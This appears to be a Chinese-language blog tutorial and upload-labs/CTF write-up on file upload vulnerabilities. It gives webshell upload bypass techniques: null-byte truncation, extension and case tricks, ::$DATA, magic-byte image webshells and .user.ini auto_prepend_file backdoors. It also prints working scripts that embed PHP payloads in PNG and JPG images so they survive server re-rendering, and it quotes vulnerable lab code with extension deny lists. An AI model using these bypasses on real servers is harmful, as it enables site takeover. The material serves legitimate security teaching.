文件上传

文件上传 原理 类型 预防

0x00 文件上传原理

文件上传漏洞是指用户上传了一个可执行脚本文件,并通过此文件获得了执行服务器端命令的能力。在大多数情况下,文件上传漏洞一般是指上传 WEB 脚本能够被服务器解析的问题,也就是所谓的 webshell 问题。完成这一攻击需要这样几个条件,一是上传的文件能够被 WEB 容器执行,其次用户能从 WEB *问这个文件,最后,如果上传的文件被安全检查、格式化、图片压缩等功能改变了内容,则可能导致攻击失败。

文件上传

Webshell简介:
  • WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。

  • WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员不容易发现入侵痕迹。攻击者可以将WebShell隐藏在正常文件中并修改文件时间增强隐蔽性,也可以采用一些函数对WebShell进行编码或者拼接以规避检测。除此之外,通过一句话木马的小马来提交功能更强大的大马可以更容易通过

S出现场景:用户上传头像,编写文章上传图片等
PHP $_FILES函数
然后upload.php中可以直接用 
$_FILES 
$_POST 
$_GET 
等函数获取表单内容。 
当客户端提交后,我们获得了一个$_FILES 数组 
$_FILES数组内容如下: 
$_FILES['myFile']['name'] 客户端文件的原名称。 
$_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。 
$_FILES['myFile']['size'] 已上传文件的大小,单位为字节。 
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。 
$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量) 

附加:本地upload环境搭建

0x01 为什么文件上传存在漏洞

  • 上传文件的时候,如果服务器脚本语言,未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件,包括上传脚本文件。
  • 如果是正常的PHP文件,对服务器则没有任何危害。
  • php可以像其他的编程语言一样,可以查看目录下的文件,查看文件中的吗内容,可以执行系统命令等。
  • 上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的PHP文件,从而控制整个网站,甚至是服务器。这个恶意的PHP文件,又被称为WebShell。

0x02 客户端检测绕过(JS检测)

客户端检测绕过(javascript 检测)

  1. 简介

    这类检测通常在上传页面里含有专门检测文件上传的 javascript 代码

    最常见的就是检测扩展名是否合法

    通常这种检测机制通常伴随页面 asp 弹框,检测流程是在本地的,不会上传流量到服务器

    检测内容:

    文件上传

2.操作:前端对文件后缀进行检查,该种通过抓包修改数据包即可解决

绕过方法

  1. 我们直接删除代码中onsubmit事件中关于文件上传时验证上传文件的相关代码即可。

文件上传

或者可以不加载所有js,还可以将html源码copy一份到本地,然后对相应代码进行修改,本地提交即可。

2.burp改包,由于是js验证,我们可以先将文件重命名为js允许的后缀名,在用burp发送数据包时候改成我们想要的后缀。

文件上传

eg: CTF HUB web 前端验证

0x03服务端检测绕过 MIME 绕过

  • 定义:MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。

  • MIME类型就是服务端会检测Content-Type的值

  • Content-Type检测

    HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型。不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改,不过加上一层防护也是可以有一定效果的。

  • 常见的MME类型,例如:

    • 超文本标记语言文本 .html,html text/htm

    • 普通文本 .txt text/plain

    • RTF文本. rtf application/rtf

    • GIF图形 .gif image/gif

    • JPEG图形 . jpg image/jpeg

      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nrIkCfWo-1611500711946)(C:\Users\77771\AppData\Roaming\Typora\typora-user-images\image-20210121231806868.png)]

  • 检测原理

当用户上传文件到服务器端的时候,服务器端的程序会获取上传文件的MIME类型,然后用这个获取到的类型来和期望的MIME类型进行匹配,如果匹配不上则说明上传的文件不合法。服务端检测MIME类型的代码如下:

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')){

 ...//判断过后对文件处理的进一步操作
}
  • 绕过方法

因为服务端检测的是文件的MIME类型,而对这个MIME类型的的值的获取是通过HTTP请求字段里的Content-Type字段 ,所以绕过的方法就是通过修改Content-Type的值,比如修改为image/jpeg;image/png;image/gif等等允许上传类型对应的MIME值

eg: CTF HUB web MIME绕过

0x04 服务端检测绕过(文件扩展名检测)

大致可以分为两类

  • 黑名单后缀绕过

名单里有的后缀不可上传,上传没有的就行了

  • 白名单后缀绕过

名单里有的后缀才可上传,如果是在前段验证可以加验证的后缀

0x01 00截断

  • 定义:00截断是绕过上传限制的一种常见方法。在C语言中,“\0”是字符串的结束符,如果用户能够传入“\0”,就能够实现截断。

  • 00截断通过上传限制适用的场景为,后端先获取用户上传的文件名,如x.php\00.jpg,再根据文件名获得文件的实际后缀jpg;通过后缀的白名单校验后,最后在保存文件时发生截断,实现上传的文件为x.php

  • 0x00是十六进制表示方法,表示ASCII码为0的字符,在一些函数处理时,会把这个字符当作结束符。

    0x00可以用在对文件名的绕过上,具体原理:系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束。但要注意是文件的十六进制内容里的00,而不是文件名中的00。也就是说系统是按二进制或十六进制读取文件,遇到ASCII码为0的位置就停止,而这个ASCII码为0的位置在十六进制中是00。

    总之就是利用ASCII码为0这个特殊字符,让系统认为字符串已经结束

  • 注:php版本要 PHP<5.3.29,且GPC关闭

  • eg:upload labpass12

    这题和上一题基本一样,只是save_path不在URL中了,而在POST数据里面,由于POST里面的数据不会被url自动解码,所以要稍微改变一下,首先,先改好路径,然后再路径后面加上一个字符,什么字符都可以,这里我为了方便用+号。
    文件上传
    然后再点击Hex,找到对应+的十六进制数据2b
    文件上传
    直接双击2b改为00,再切回到RAW,查看报文。
    文件上传
    直接GO,查看返回结果。
    文件上传
    访问,解析成功。
    文件上传
    因为是十六进制所以这种截断叫做是0x00截断,其实是%00截断最终被url解码还是会变成0x00的。在url%00表示ascll码中的0,而ascii0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。这是一样的道理,所以这里还有另外一种做法。
    文件上传
    直接在后面加上%00然后选中,右键如下图进行url解码即可,或者直接按ctrl+shfit+u
    文件上传
    效果会是一样的。
    文件上传
    源码不用分析什么,就是将GET换成了POST而已。

    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $ext_arr = array('jpg','png','gif');
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;	//换成了POST
    
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传失败";
            }
        } else {
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
        }
    }
    

%00截断

  • 原理:url发送到服务器后被服务器解码,这时还没有传到验证函数,也就是说验证函数里接收到的不是%00字符,而是%00解码后的内容,即解码成了0x00。总之就是%00被服务器解码为0x00发挥了截断作用。
  • 例题 CTF hub web %00截断
  • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OuAPI4IJ-1611500711947)(C:\Users\77771\AppData\Roaming\Typora\typora-user-images\image-20210122234230481.png)]

0x0a截断

0x0a是十六进制表示方法,表示ASCII码为/n的换行字符,具体为换行至下一行行首起始位置。

分享一篇很好的00截断博客

http://www.admintony.com/%E5%85%B3%E4%BA%8E%E4%B8%8A%E4%BC%A0%E4%B8%AD%E7%9A%8400%E6%88%AA%E6%96%AD%E5%88%86%E6%9E%90.html

0x02 双写后缀绕过

  • 原理:黑名单会给出一些不可使用的后缀名。
    将写入一句话木马的php文件上传,抓包,将后缀改为.pphphp即可,双写即可绕过。
    思路不唯一,各种后缀也是各种双写。
  • 解析后,pphphp后缀名会变为php后缀名

eg: CTF HUB web 双写后缀名

0x03 后缀大小写绕过

eg: upload-labs Pass 6

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

我们发现对.htaccess也进行了检测,但是没有对大小写进行统一。

绕过原理:通过对检测不包含的后缀名(黑名单)漏洞利用来实现绕过

绕过方法

后缀名改为PHP即可//在实际操作中将后缀改为phP,pHp,Php等格式同样成立

文件上传

0x04 空格绕过

eg: upload-labs Pass 7

源码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

黑名单限制,也限制了大小写,讲道理使用文件改写也是可以的,但是我们分析源码发现此题并没有对空格进行过滤

f i l e e x t ∗ ∗ ∗ ∗ = t r i m ( file_ext** **= trim( filee​xt∗∗∗∗=trim(file_ext); //收尾去空

与Pass04再来做一下对比

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

在第11行有着收尾去空

绕过方法:在burpsuite抓包时,将“1.PHP"文件修改为”1.PHP "

0x05 点绕过

  • windows会对文件中的点进行自动去除,所以可以在文件末尾加点绕过

  • $file_name = deldot($file_name);//删除文件名末尾的点
    

eg: upload-labs Pass 8

0x06 ::$DATA绕过

绕过原理:利用Windows特性

  • 在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

    例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"

  • eg:upload-labs Pass 8

源码中未过滤::$DATA

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码中没有对::$DATA进行处理

0x05 服务端检测绕过(文件内容检测)

0x01 文件头检查

  • 文件头检查是指当浏览器上传到服务器的时候,白名单进行的文件头检测,符合,则允许上传,否则不允许上传。

    • 用010 editor打开,找到你所改成图片的文件头(例如我想改成的是png格式,也可以jpg等,png图片的格式头是89 50 4E 47) ,只要将其放在文件头部(也就是放在一句话的前面),保存即可。
    • 也可以找到一个png图片用010 editor 打开,将一句话木马插入在最下面
    • 还可以在bp抓包的时候直接将一句话木马改写进去
  • 一句话图片马命令:

copy xx.png/b+xx.php/a xx.php 

eg: CTF HUB web 文件头检查

文件幻数检测

主要是检测文件内容开始处的文件幻数,比如图片类型的文件幻数如下,
要绕过jpg 文件幻数检测就要在文件开头写上下图的值:

文件上传

Value = FF D8 FF E0 00 10 4A 46 49 46

要绕过gif 文件幻数检测就要在文件开头写上下图的值

文件上传

Value = 47 49 46 38 39 61
要绕过png 文件幻数检测就要在文件开头写上下面的值

文件上传

Value = 89 50 4E 47

然后在文件幻数后面加上自己的一句话木马代码就行了

0x02 getimagesize()类型验证

  • getimagesize()简介
    这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的
  • 因此对于这种验证的绕过,我们只需要造一个图片马就行。

eg: upload-labs Pass 15 getimagesize($filename);

0x03 exif——imagetype()

0x00 exif——imagetype()

0x01 .user.ini


那么什么是.user.ini?

这得从php.ini说起了。php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER。 在此可以查看:http://php.net/manual/zh/ini.list.php 这几种模式有什么区别?看看官方的解释:

文件上传

其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

.user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functionsextension_direnable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。

Php配置项中有两个比较有意思的项(下图第一、四个):

文件上传

auto_append_fileauto_prepend_file,点开看看什么意思:

文件上传

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=01.gif

01.gif是要包含的文件。

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

测试一下,我分别在IIS6.0+Fastcgi+PHP5.3和nginx+fpm+php5.3上测试。 目录下有.user.ini,和包含webshell的01.gif,和正常php文件echo.php:

文件上传

文件上传

访问echo.php即可看到后门:

文件上传

Nginx下同样:

文件上传

文件上传

那么,我们可以猥琐地想一下,在哪些情况下可以用到这个姿势? 比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。 再比如,你只是想隐藏个后门,这个方式是最方便的。

0x04 二次渲染

分析问题

关于检测gif的代码

文件上传

第71行检测$fileext$filetype是否为gif格式.

然后73行使用move_uploaded_file函数来做判断条件,如果成功将文件移动到$target_path,就会进入二次渲染的代码,反之上传失败.

在这里有一个问题,如果作者是想考察绕过二次渲染的话,在move_uploaded_file($tmpname,$target_path)返回true的时候,就已经成功将图片马上传到服务器了,所以下面的二次渲染并不会影响到图片马的上传.如果是想考察文件后缀和content-type的话,那么二次渲染的代码就很多余.(到底考点在哪里,只有作者清楚.哈哈)

由于在二次渲染时重新生成了文件名,所以可以根据上传后的文件名,来判断上传的图片是二次渲染后生成的图片还是直接由move_uploaded_file函数移动的图片.

我看过的writeup都是直接由move_uploaded_file函数上传的图片马.今天我们把move_uploaded_file这个判断条件去除,然后尝试上传图片马.

上传gif

<?php phpinfo(); ?>添加到111.gif的尾部.

文件上传

成功上传含有一句话的111.gif,但是这并没有成功.我们将上传的图片下载到本地.
文件上传

可以看到下载下来的文件名已经变化,所以这是经过二次渲染的图片.我们使用16进制编辑器将其打开.
文件上传

可以发现,我们在gif末端添加的php代码已经被去除.

关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了.

经过对比,蓝色部分是没有发生变化的,
文件上传

我们将代码写到该位置.
文件上传

上传后在下载到本地使用16进制编辑器打开
文件上传

可以看到php代码没有被去除.成功上传图片马

上传png

png的二次渲染的绕过并不能像gif那样简单.

png文件组成

png图片由3个以上的数据块组成.

PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们.

数据块结构
文件上传

CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:

x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1

分析数据块
IHDR

数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。

文件头数据块由13字节组成,它的格式如下图所示。
文件上传

PLTE

调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

IDAT

图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。

IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

IEND

图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:

00 00 00 00 49 45 4E 44 AE 42 60 82

写入php代码

在网上找到了两种方式来制作绕过二次渲染的png木马.

写入PLTE数据块

php底层在对PLTE数据块验证的时候,主要进行了CRC校验.所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可.

这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像.

  1. 在PLTE数据块写入php代码.
    文件上传
  2. 计算PLTE数据块的CRC
    CRC脚本
import binascii
import re

png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

运行结果

526579b0

3.修改CRC值

文件上传

4.验证
将修改后的png图片上传后,下载到本地打开
文件上传

写入IDAT数据块

这里有国外大牛写的脚本,直接拿来运行即可.

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

运行后得到1.png.上传后下载到本地打开如下图

文件上传

上传jpg

这里也采用国外大牛编写的脚本jpg_payload.php.

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

使用方法

准备

随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg.

插入php代码

使用脚本处理1.jpg,命令php jpg_payload.php 1.jpg
文件上传
使用16进制编辑器打开,就可以看到插入的php代码.
文件上传

上传图片马

将生成的payload_1.jpg上传.
文件上传

验证

将上传的图片再次下载到本地,使用16进制编辑器打开
文件上传

可以看到,php代码没有被去除.
证明我们成功上传了含有php代码的图片.

需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.


查看源码 对gif的过滤部分:发现gif图片被二次渲染

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0R1UcQqq-1611500711963)(https://Lmg66.github.io/img/42.png)]

尝试上传gif(带有木马),并将上传

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-js6v3HSZ-1611500711963)(https://Lmg66.github.io/img/43.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dV0t6VKy-1611500711963)(https://Lmg66.github.io/img/44.png)]

gif绕过:找到渲染前后没有变化的位置,然后将php木马写入即可,下载上传后的gif,发现木马上传成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Yz8vn2mV-1611500711964)(https://Lmg66.github.io/img/45.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-La05j99r-1611500711965)(https://Lmg66.github.io/img/46.png)]

查看源码:对png的过滤部分 发现被二次渲染#

